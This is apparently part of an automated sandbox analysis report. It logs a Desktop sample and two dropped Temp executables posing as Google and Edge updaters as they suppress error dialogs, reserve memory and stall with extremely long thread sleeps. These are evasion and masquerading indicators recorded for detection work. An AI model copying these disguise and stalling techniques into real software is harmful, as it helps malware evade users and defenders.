Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 1000000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2AE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2970000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Memory allocated: 30C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Memory allocated: 32F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Memory allocated: 52F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Memory allocated: 21A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Memory allocated: 2360000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Memory allocated: 21A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Memory allocated: 1160000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Memory allocated: 2C90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Memory allocated: 2BA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Memory allocated: F40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Memory allocated: 2EB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Memory allocated: 1670000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Memory allocated: E40000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Memory allocated: 2CE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Memory allocated: 1500000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Memory allocated: D10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Memory allocated: 2720000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Memory allocated: 4720000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 394	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Window / User API: threadDelayed 6365	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Window / User API: threadDelayed 3286	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Window / User API: threadDelayed 3397	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Window / User API: threadDelayed 5631	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Window / User API: threadDelayed 692	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Window / User API: threadDelayed 6141
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Window / User API: threadDelayed 3382
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Window / User API: threadDelayed 4832
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Window / User API: threadDelayed 4747

Source: C:\Users\user\Desktop\file.exe TID: 6388	Thread sleep count: 394 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6408	Thread sleep count: 83 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6216	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe TID: 5956	Thread sleep count: 6365 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe TID: 5956	Thread sleep count: 3286 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe TID: 4408	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
